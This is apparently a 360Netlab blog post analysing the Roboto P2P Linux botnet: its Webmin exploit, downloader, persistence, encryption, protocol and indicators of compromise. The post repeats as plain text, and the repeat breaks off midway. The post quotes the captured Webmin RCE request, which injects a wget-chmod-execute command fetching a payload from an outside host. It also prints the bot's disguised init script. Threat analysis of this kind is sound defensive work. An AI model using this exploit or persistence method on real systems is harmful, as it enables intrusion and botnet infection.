The awaiting Roboto Botnet
<!--kg-card-begin: markdown--><h2 id="backgroundintroduction">Background introduction</h2>
<p>On August 26, 2019, our 360Netlab Unknown Threat Detection System highlighted a suspicious ELF file (4cd7bcd0960a69500aa80f32762d72bc) and passed along to our researchers to take a closer look, upon further analysis, we determined it is a P2P bot program.</p>
<p>Fast forwarded to October 11, 2019, our Anglerfish honeypot captured another suspicious ELF sample (4b98096736e94693e2dc5a1361e1a720), and it turned out to be the Downloader of the previous suspicious ELF sample. The Downloader sample downloads the above Bot program from two hard-coded HTTP URLs. One of the addresses disguised the Bot sample as a Google font library &quot;roboto.ttc&quot;, so we named the Botnet Roboto.</p>
<p>We have been tracking the Roboto Botnet for nearly three months and here are some of its technical features.</p>
<h2 id="robotobotnetoverview">Roboto Botnet overview</h2>
<p>Currently, we have captured the Downloader and Bot modules of the Roboto Botnet, and we speculate that it also has a vulnerability scanning module and a P2P control module.<br>
<a href="__GHOST_URL__/content/images/2019/11/Roboto.png"><img src="__GHOST_URL__/content/images/2019/11/Roboto.png" class="kg-image"/></a><br>
Roboto Botnet mainly supports 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs, DDoS attack, etc.</p>
<p>At the same time, it also uses Curve25519, Ed25519, TEA, SHA256, HMAC-SHA256 and other algorithms to ensure the integrity and security of its components and P2P network, create the corresponding Linux self-starting script based on the target system, and disguise its own files and processes name to gain persistence control.</p>
<p>Roboto Botnet has DDoS functionality, but it seems DDoS is not its main goal. We have yet to captured a single DDoS attack command since it showed up on our radar. We still yet to learn its true purpose.</p>
<h2 id="propagation">Propagation</h2>
<p>On October 11th, 2019, the Anglerfish honeypot caught <code>51.38.200.230</code>spreading Downloader sample <code>4b98096736e94693e2dc5a1361e1a720</code> via the Webmin RCE vulnerability (CVE-2019-15107) . The download URL is <code>http://190.114.240.194/boot</code>, the following is the exploit Payload.</p>
<pre><code>POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

user=daemon&amp;pam=&amp;new1=x&amp;new2=x&amp;old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&amp;expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%  
</code></pre>
<p>We can see that <code>51.38.200.230</code> itself also has the same Webmin service (TCP/10000) open, guess it was also infected.</p>
<h2 id="reverseanalysis">Reverse analysis</h2>
<h3 id="robotodownloadersampleanalysis">Roboto Downloadersample analysis</h3>
<ul>
<li>MD5: 4b98096736e94693e2dc5a1361e1a720</li>
</ul>
<blockquote>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Library: musl-libc</p>
</blockquote>
<p>The main function of Roboto Downloader is to download the corresponding encrypted Roboto Bot program from the specified URL according to the CPU architecture of the victim machine, and then decrypt and execute it.</p>
<p>Currently, Roboto Downloader supports both i386 and x86_64 architectures.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_arch.png"><img src="__GHOST_URL__/content/images/2019/11/rob_arch.png" class="kg-image"/></a></p>
<p>The Roboto Downloader sample hard-coded URL stores the encrypted Roboto Bot program. Each group of URLs has a corresponding decryption key and SHA256 check value.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_res_2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_res_2.png" class="kg-image"/></a></p>
<p>Take image2.jpg as an example. Its SHA256 hash value is consistent with the hard-coded SHA256 hash value in the Roboto Downloader sample.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_res_sha256.png"><img src="__GHOST_URL__/content/images/2019/11/rob_res_sha256.png" class="kg-image"/></a></p>
<p>The decryption algorithm is as follows, the Key length is 8 bytes, and each round will calculate a new XOR Key.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_xor.png"><img src="__GHOST_URL__/content/images/2019/11/rob_xor.png" class="kg-image"/></a></p>
<p>After decrypting, we got the Roboto Bot sample.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_dec.png"><img src="__GHOST_URL__/content/images/2019/11/rob_dec.png" class="kg-image"/></a></p>
<p>The initial XOR Key is not known, but the characteristics of the XOR encryption algorithm can be used to get the bot file.<br>
According to the feature that the value of elf_header[0x8:0xf] is often 0, the Bot file can be decrypted by the following method.</p>
<pre><code class="language-c++">	fstream file(filename, ios::binary | ios::in);
	file.read((char*)fstr.data(), fsize);
	file.close();
	string skey(fstr, 8, 8);
	reverse(skey.begin(), skey.end());
	uint64_t *sskey = (uint64_t*)&amp;skey[0];
	cout &lt;&lt; hex &lt;&lt; &quot;sskey= &quot; &lt;&lt; *sskey &lt;&lt; endl;
	fstr[0] = '\x7F';
	fstr[1] = 'E';
	fstr[2] = 'L';
	fstr[3] = 'F';
	fstr[6] = '\x01';
	fstr[7] = '\x00';
	fsize -= 8;
	uint64_t cnt = fsize / 8;
	uint8_t rmd = fsize % 8;
	for (uint64_t i = 0; i &lt; cnt; i++) {
		for (int j = 0; j &lt; 8; j++)
		{
			fstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);
		}
		uint64_t rnda = *sskey &lt;&lt; 13 ^ *sskey;
		uint64_t rndb = rnda &gt;&gt; 7 ^ rnda;
		uint64_t rndc = rndb &lt;&lt; 17 ^ rndb;
		*sskey = rndc;
	}
	for (uint8_t i = 0; i &lt; rmd; i++)
	{
		fstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);
	}
	if (fstr[42] == '\x20' &amp;&amp; fstr[46] == '\x28')
	{
		fstr[4] = '\x01';
		fstr[5] = '\x01';
	}
	if (fstr[43] == '\x20' &amp;&amp; fstr[47] == '\x28')
	{
		fstr[4] = '\x01';
		fstr[5] = '\x02';
	}
	if (fstr[54] == '\x38' &amp;&amp; fstr[58] == '\x40')
	{
		fstr[4] = '\x02';
		fstr[5] = '\x01';
	}
	if (fstr[55] == '\x38' &amp;&amp; fstr[59] == '\x40')
	{
		fstr[4] = '\x02';
		fstr[5] = '\x02';
	}
</code></pre>
<h3 id="robotobotsampleanalysis">Roboto Bot sample analysis</h3>
<ul>
<li>MD5: d88c737b46f1dcb981b4bb06a3caf4d7</li>
</ul>
<blockquote>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Library: musl-libc</p>
</blockquote>
<p>As aforementioned, Roboto Bot has server build in functions and disguise itself on the victim host.</p>
<h4 id="disguise">Disguise</h4>
<ul>
<li>
<p>Create self-starting script based on the release version of the Linux system <code>/etc/init.d/dns-clear</code> or <code>systemd-hwdb-upgrade.service</code></p>
<pre><code>#! /bin/sh

### BEGIN INIT INFO
# Provides:          dns-clear
# Required-Start:    $local_fs $remote_fs $network
# Required-Stop:     $local_fs
# Default-Start:     1 2 3 4 5
# Default-Stop:
# Short-Description: Cleans up any mess left by 0dns-up
### END INIT INFO

PATH=/sbin:/bin:/usr/sbin:/usr/bin

case &quot;$1&quot; in
  start)
        /usr/lib/libXxf86dag.so.1.0.0 &amp;
        ;;
  *)
        ;;
esac

exit 0
</code></pre>
</li>
<li>
<p>Fake Process names</p>
<pre><code>(sd-pam)
/sbin/rpcbind
/usr/bin/python
upstart-socket-bridge
/usr/sbin/irqbalance
/lib/systemd/systemd-udevd
/usr/libexec/postfix/master
</code></pre>
</li>
<li>
<p>File name for masquerading</p>
<pre><code>libXxf86dag.so
.node_repl_history.gz
</code></pre>
</li>
</ul>
<h4 id="hardcodedpeerinformation">Hard coded Peer information</h4>
<p>Roboto Bot hardcoded 4 sets of Peers, the structure is <strong>IP: PORT: Curve25519_Pub Key</strong><br>
<a href="__GHOST_URL__/content/images/2019/11/rob_c2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_c2.png" class="kg-image"/></a></p>
<pre><code>Peer 1:
	213.159.27.5:57491
Pubkey:
	8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4 
	7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79

Peer 2:
	186.46.45.252:52085
Pubkey:
	93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D 
	41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B

Peer 3:
	95.216.17.209:57935
Pubkey:
	E8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05 
	F2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E

Peer 4:
	120.150.43.45:49252
Pubkey:
	E7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7 
	F3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20
　
</code></pre>
<p>The third peer has the following modification in the sample <code>4cd7bcd0960a69500aa80f32762d72bc</code></p>
<pre><code>Peer 3:
	66.113.179.13:33543
Pubkey:
	B3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B 
	2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E
</code></pre>
<h4 id="encryptionverfication">Encryption verfication</h4>
<p>Roboto Bot uses algorithms such as Curve25519, TEA, and HMAC-SHA256 to implement data encryption and validity verification. This method is widely been used in the generation of cfg files and data packets.</p>
<p>The general process is as shown<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_flow.png"><img src="__GHOST_URL__/content/images/2019/11/rob_flow.png" class="kg-image"/></a></p>
<p><strong>Curve25519_PrivateKey</strong> is generated by /dev/urandom.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_priv.png"><img src="__GHOST_URL__/content/images/2019/11/rob_priv.png" class="kg-image"/></a></p>
<h4 id="cfgfile">cfg file</h4>
<p>Roboto Bot will store the generated cfg files in different file locations depending on the privilege it runs.</p>
<pre><code>$home/.config/trolltech.conf      //run as regular user
/etc/iproute2/rt_ksfield          //run as root
</code></pre>
<p>The cfg file contains the private key, the encrypted data, and the HMAC-SHA256 value of the encrypted data, which are updated every hour. The encrypted data is composed of Peer and Port information, and its structure  is <em>peer:length:data,pcfg:length:data</em>.<a href="__GHOST_URL__/content/images/2019/11/rob_cfg.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cfg.png" class="kg-image"/></a><br>
Cfg file decryption example</p>
<pre><code>The first 0x20 byte，Curve25519 private key
    68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8 
    E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63
The last 0x20 byte，hmac-sha256 hash (0x20-0x165)
    1B 64 C4 FD 65 C0 95 9B 6F B1　D7 C1 75 31 DA 5A 
    01 EC E1 52 06 25 E9 7D A1 9B　57 E5 CA 67 2B D6
    
Encryption verification
1. Generate publicKey:
    52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8  
    3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24

2. Using last 16 bytes, DWORD reverse，to be used as encryption key for TEA:
    58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62

3. Using the above Key, to get XOR Key:
    First round: ED 16 FB 00 46 4F 94 99

4. XOR decryption，repeat step 4 on every 8 byte，to update XOR Key:
    Ciphertext: 9D 73 9E 72 76 4E DE 99
    Plaintext: peer\x30\x01\x4a\x00\x00
</code></pre>
<p>Therefore, we know that Peer has 0x130 bytes of information, and so on, the plaintext of the ciphertext (8E 3C 1F 93 B1 C9) is (pcfg\x04\x00).</p>
<h4 id="p2pcontrolmodule">P2P control module</h4>
<p>Roboto Bot can be controlled by a Unix domain socket. The bound path is <code>/tmp/.cs</code><br>
<a href="__GHOST_URL__/content/images/2019/11/rob_unixpro.png"><img src="__GHOST_URL__/content/images/2019/11/rob_unixpro.png" class="kg-image"/></a></p>
<p>The following code starts the control process<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_csm.png"><img src="__GHOST_URL__/content/images/2019/11/rob_csm.png" class="kg-image"/></a></p>
<p>We did not find the relevant code to set the environment variable &quot;CS&quot; in the Roboto Bot sample, so we speculated that it is in the Roboto P2P control module. It starts a process, sets the environment to &quot;CS&quot;, and controls the Roboto Bot module through a Unix domain socket. then the P2P node becomes the control node in the Botonet P2P network.</p>
<p>We can get a good idea on the functions of the P2P control module through the Roboto Bot module, these function names are very intuitive.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_domsock.png"><img src="__GHOST_URL__/content/images/2019/11/rob_domsock.png" class="kg-image"/></a></p>
<p>We tested some of the control commands by hijacking the Roboto Bot program. Here are some test results.</p>
<p><code>info</code> The command will display hard-coded information and public key information, including the <code>v17</code>, we suspect it is a program version number.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_info.png"><img src="__GHOST_URL__/content/images/2019/11/rob_info.png" class="kg-image"/></a><br>
<code>peers</code> The command displays the P2P node information currently connected by Roboto Bot.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_peerinfo.png"><img src="__GHOST_URL__/content/images/2019/11/rob_peerinfo.png" class="kg-image"/></a></p>
<h4 id="botfunction">Bot function</h4>
<ul>
<li>Reverse shell<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_shell.png"><img src="__GHOST_URL__/content/images/2019/11/rob_shell.png" class="kg-image"/></a></li>
<li>Self uninstall<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_clear-2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_clear-2.png" class="kg-image"/></a></li>
<li>Execution system command<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_system.png"><img src="__GHOST_URL__/content/images/2019/11/rob_system.png" class="kg-image"/></a></li>
<li>Get process network information (traverse process list, get process, network and crontab file information) and upload it to the specified HTTP interface</li>
</ul>
<pre><code>/proc/%s/exe
/proc/%s/cmdline
/proc/net/tcp
/proc/net/udp
crontab
</code></pre>
<p><a href="__GHOST_URL__/content/images/2019/11/rob_cinfo1.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cinfo1.png" class="kg-image"/></a></p>
<ul>
<li>
<p>Get the Bot information and upload it to the specified HTTP interface.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_cinfo3.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cinfo3.png" class="kg-image"/></a></p>
</li>
<li>
<p>Run the encrypted file in the specified URL (similar to the Roboto Downloader function)<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_http.png"><img src="__GHOST_URL__/content/images/2019/11/rob_http.png" class="kg-image"/></a></p>
</li>
<li>
<p>The DDoS attack<br>
Depending on the running privilege it gets, Bot provides four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_atk.png"><img src="__GHOST_URL__/content/images/2019/11/rob_atk.png" class="kg-image"/></a></p>
</li>
</ul>
<h4 id="p2pcommunicationprotocol">P2P communication protocol</h4>
<p>Besides using the P2P communication protocol, Roboto Bot employs algorithms such as Curve25519, TEA, and HMAC-SHA256 to ensure data integrity and security. The encrypted Key is derived from the Curve25519_SharedKey generated by the public key in the Bot and C2 information. The format of the packet is index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf], so packets larger than 21 bytes contain valid information.</p>
<h6 id="p2pnodediscoverydataverification">P2P node discovery data verification</h6>
<p>The length of the request packet is a fixed 69 bytes, the data is not encrypted, and the content is the public key of the target Peer and the public key of the Bot. After receiving the Bot request packet, Peer establishes a connection with the Bot if it is consistent with its own public key, and then calculates the SharedKey through the public key. In the subsequent communication process, the message with valid information (length greater than 21 words) Section) will be encrypted.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_hello.png"><img src="__GHOST_URL__/content/images/2019/11/rob_hello.png" class="kg-image"/></a></p>
<h6 id="p2pnodediscoverydatadecryption">P2P node discovery data decryption</h6>
<p>The local Petoto Bot sample is communicated with the hard-coded Peer (186.46.45.252), and a new Peer node 87.249.15.18:63104 is taken as an example.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_hellosrv.png"><img src="__GHOST_URL__/content/images/2019/11/rob_hellosrv.png" class="kg-image"/></a><br>
Bot request, 69 bytes</p>
<pre><code>index: 00 00 00 00 
type: 2
data:
	 0-31: C2 Curve25519_PublicKey
		93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D 
		41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
	32-63: Bot Curve25519_PublicKey
		52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8  
		3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24

</code></pre>
<p>Peer reply, 60 bytes,</p>
<pre><code>index: 00 00 00 00
type: 00
data:
	cmdtype:
		4f 
	ip:port
		44 be 1c 18 da 42 
	PublibcKey:
		7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25 
		3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f
	Hmac-sha256[0:0xf]	
		b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e

</code></pre>
<p>Analog decryption verification process</p>
<pre><code>1. Bot’s private key and Pee’s public key to generate shared key
SharedKey:
        28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8 
        B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D
2. Using first 16 byte of HMAC-SHA256 for verification
	HMAC-SHA256[0:0XF]=
	b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e

3. Using last 16 bytes of the sharedkey, DWORD reverse，to be used as encryption key for TEA:
	A8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32
4. Using the above Key, to get XOR Key:
	First round: 4E 13 47 13 0A 2C C2 6A
	Second round: B0 68 BD EB 9B 29 10 23
	Third round: AD B4 3D 34 40 C0 3D FC
	Fourth round: 31 1E 6B F0 EA D5 8E 65
	Fivth round: D1 1C 42 58 2A 0C 7D A4
5. XOR dencryption，repeat step 4 on every 8 byte，to update XOR Key and get plaintext
    cmdtype:
        01
    ip:port:
        57 F9 0F 12 :F6 80 (87.249.15.18:63104)
    PublicKey:	
        14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18 
        C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02
	
</code></pre>
<p>From the following network packets, we can see <code>87.249.15.18:63104</code> is exactly what we calculated.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_secpeer.png"><img src="__GHOST_URL__/content/images/2019/11/rob_secpeer.png" class="kg-image"/></a></p>
<h6 id="attackcommandverification">Attack command verification</h6>
<p>In a P2P network, nodes are untrustworthy, and anyone can forge a P2P node at a very low cost. In order to ensure that the Roboto network is completely controllable and not stolen by others, Roboto needs to perform signature verification for each attack command. Only the attack messages that can be signed and signed can be accepted and executed by the Roboto node.<br>
The verification method adopted by Roboto is ED25519, which is a public digital signature algorithm. At the same time, the check public key is:<code>60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C</code>, the public key is integrated into each of the Roboto Bot samples.</p>
<h3 id="suggestions">Suggestions</h3>
<p>We recommend that Webmin users take a look whether they are infected by checking the process, file name and UDP network connection as we coverd above.</p>
<p>We recommend that Roboto Botnet related IP, URL and domain names to be monitored and blocked.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h4 id="ioclist">IoC list</h4>
<p>Sample MD5</p>
<pre><code>4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7
</code></pre>
<p>Encrypted Roboto Bot MD5</p>
<pre><code>image.jpg         de14c4345354720effd0710c099068e7
image2.jpg        69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc        f47593cceec08751edbc0e9c56cad6ee
roboto.ttf        3020c2a8351c35530ab698e298a5735c
</code></pre>
<p>URL</p>
<pre><code>http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg
</code></pre>
<p>Hard-coded Peer IP</p>
<pre><code>95.216.17.209       	Finland             	ASN 24940           	Hetzner Online GmbH 
213.159.27.5        	Italy               	ASN 201474          	Aircom Service srl  
186.46.45.252       	Ecuador             	ASN 28006           	CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45       	Australia           	ASN 1221            	Telstra Corporation Ltd
66.113.179.13       	United States       	ASN 14280           	NetNation Communications Inc
</code></pre>
<!--kg-card-end: markdown-->
Background introduction


On August 26, 2019, our 360Netlab Unknown Threat Detection System highlighted a suspicious ELF file (4cd7bcd0960a69500aa80f32762d72bc) and passed along to our researchers to take a closer look, upon further analysis, we determined it is a P2P bot program.


Fast forwarded to October 11, 2019, our Anglerfish honeypot captured another suspicious ELF sample (4b98096736e94693e2dc5a1361e1a720), and it turned out to be the Downloader of the previous suspicious ELF sample. The Downloader sample downloads the above Bot program from two hard-coded HTTP URLs. One of the addresses disguised the Bot sample as a Google font library "roboto.ttc", so we named the Botnet Roboto.


We have been tracking the Roboto Botnet for nearly three months and here are some of its technical features.



Roboto Botnet overview


Currently, we have captured the Downloader and Bot modules of the Roboto Botnet, and we speculate that it also has a vulnerability scanning module and a P2P control module.



Roboto Botnet mainly supports 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs, DDoS attack, etc.


At the same time, it also uses Curve25519, Ed25519, TEA, SHA256, HMAC-SHA256 and other algorithms to ensure the integrity and security of its components and P2P network, create the corresponding Linux self-starting script based on the target system, and disguise its own files and processes name to gain persistence control.


Roboto Botnet has DDoS functionality, but it seems DDoS is not its main goal. We have yet to captured a single DDoS attack command since it showed up on our radar. We still yet to learn its true purpose.



Propagation


On October 11th, 2019, the Anglerfish honeypot caught 51.38.200.230spreading Downloader sample 4b98096736e94693e2dc5a1361e1a720 via the Webmin RCE vulnerability (CVE-2019-15107) . The download URL is http://190.114.240.194/boot, the following is the exploit Payload.


POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

user=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%  



We can see that 51.38.200.230 itself also has the same Webmin service (TCP/10000) open, guess it was also infected.



Reverse analysis



Roboto Downloadersample analysis


 * MD5: 4b98096736e94693e2dc5a1361e1a720





ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Library: musl-libc



The main function of Roboto Downloader is to download the corresponding encrypted Roboto Bot program from the specified URL according to the CPU architecture of the victim machine, and then decrypt and execute it.


Currently, Roboto Downloader supports both i386 and x86_64 architectures.




The Roboto Downloader sample hard-coded URL stores the encrypted Roboto Bot program. Each group of URLs has a corresponding decryption key and SHA256 check value.




Take image2.jpg as an example. Its SHA256 hash value is consistent with the hard-coded SHA256 hash value in the Roboto Downloader sample.




The decryption algorithm is as follows, the Key length is 8 bytes, and each round will calculate a new XOR Key.




After decrypting, we got the Roboto Bot sample.




The initial XOR Key is not known, but the characteristics of the XOR encryption algorithm can be used to get the bot file.

According to the feature that the value of elf_header[0x8:0xf] is often 0, the Bot file can be decrypted by the following method.


	fstream file(filename, ios::binary | ios::in);
	file.read((char*)fstr.data(), fsize);
	file.close();
	string skey(fstr, 8, 8);
	reverse(skey.begin(), skey.end());
	uint64_t *sskey = (uint64_t*)&skey[0];
	cout << hex << "sskey= " << *sskey << endl;
	fstr[0] = '\x7F';
	fstr[1] = 'E';
	fstr[2] = 'L';
	fstr[3] = 'F';
	fstr[6] = '\x01';
	fstr[7] = '\x00';
	fsize -= 8;
	uint64_t cnt = fsize / 8;
	uint8_t rmd = fsize % 8;
	for (uint64_t i = 0; i < cnt; i++) {
		for (int j = 0; j < 8; j++)
		{
			fstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);
		}
		uint64_t rnda = *sskey << 13 ^ *sskey;
		uint64_t rndb = rnda >> 7 ^ rnda;
		uint64_t rndc = rndb << 17 ^ rndb;
		*sskey = rndc;
	}
	for (uint8_t i = 0; i < rmd; i++)
	{
		fstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);
	}
	if (fstr[42] == '\x20' && fstr[46] == '\x28')
	{
		fstr[4] = '\x01';
		fstr[5] = '\x01';
	}
	if (fstr[43] == '\x20' && fstr[47] == '\x28')
	{
		fstr[4] = '\x01';
		fstr[5] = '\x02';
	}
	if (fstr[54] == '\x38' && fstr[58] == '\x40')
	{
		fstr[4] = '\x02';
		fstr[5] = '\x01';
	}
	if (fstr[55] == '\x38' && fstr[59] == '\x40')
	{
		fstr[4] = '\x02';
		fstr[5] = '\x02';
	}




Roboto Bot sample analysis


 * MD5: d88c737b46f1dcb981b4bb06a3caf4d7





ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Library: musl-libc



As aforementioned, Roboto Bot has server build in functions and disguise itself on the victim host.


Disguise


 * 
   
   
   Create self-starting script based on the release version of the Linux system /etc/init.d/dns-clear or systemd-hwdb-upgrade.service
   
   
   #! /bin/sh
   
   ### BEGIN INIT INFO
   # Provides:          dns-clear
   # Required-Start:    $local_fs $remote_fs $network
   # Required-Stop:     $local_fs
   # Default-Start:     1 2 3 4 5
   # Default-Stop:
   # Short-Description: Cleans up any mess left by 0dns-up
   ### END INIT INFO
   
   PATH=/sbin:/bin:/usr/sbin:/usr/bin
   
   case "$1" in
     start)
           /usr/lib/libXxf86dag.so.1.0.0 &
           ;;
     *)
           ;;
   esac
   
   exit 0
   
   

 * 
   
   
   Fake Process names
   
   
   (sd-pam)
   /sbin/rpcbind
   /usr/bin/python
   upstart-socket-bridge
   /usr/sbin/irqbalance
   /lib/systemd/systemd-udevd
   /usr/libexec/postfix/master
   
   

 * 
   
   
   File name for masquerading
   
   
   libXxf86dag.so
   .node_repl_history.gz
   
   


Hard coded Peer information


Roboto Bot hardcoded 4 sets of Peers, the structure is IP: PORT: Curve25519_Pub Key




Peer 1:
	213.159.27.5:57491
Pubkey:
	8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4 
	7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79

Peer 2:
	186.46.45.252:52085
Pubkey:
	93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D 
	41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B

Peer 3:
	95.216.17.209:57935
Pubkey:
	E8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05 
	F2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E

Peer 4:
	120.150.43.45:49252
Pubkey:
	E7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7 
	F3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20
　



The third peer has the following modification in the sample 4cd7bcd0960a69500aa80f32762d72bc


Peer 3:
	66.113.179.13:33543
Pubkey:
	B3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B 
	2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E



Encryption verfication


Roboto Bot uses algorithms such as Curve25519, TEA, and HMAC-SHA256 to implement data encryption and validity verification. This method is widely been used in the generation of cfg files and data packets.


The general process is as shown




Curve25519_PrivateKey is generated by /dev/urandom.




cfg file


Roboto Bot will store the generated cfg files in different file locations depending on the privilege it runs.


$home/.config/trolltech.conf      //run as regular user
/etc/iproute2/rt_ksfield          //run as root



The cfg file contains the private key, the encrypted data, and the HMAC-SHA256 value of the encrypted data, which are updated every hour. The encrypted data is composed of Peer and Port information, and its structure is peer:length:data,pcfg:length:data.

Cfg file decryption example


The first 0x20 byte，Curve25519 private key
    68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8 
    E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63
The last 0x20 byte，hmac-sha256 hash (0x20-0x165)
    1B 64 C4 FD 65 C0 95 9B 6F B1　D7 C1 75 31 DA 5A 
    01 EC E1 52 06 25 E9 7D A1 9B　57 E5 CA 67 2B D6
    
Encryption verification
1. Generate publicKey:
    52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8  
    3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24

2. Using last 16 bytes, DWORD reverse，to be used as encryption key for TEA:
    58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62

3. Using the above Key, to get XOR Key:
    First round: ED 16 FB 00 46 4F 94 99

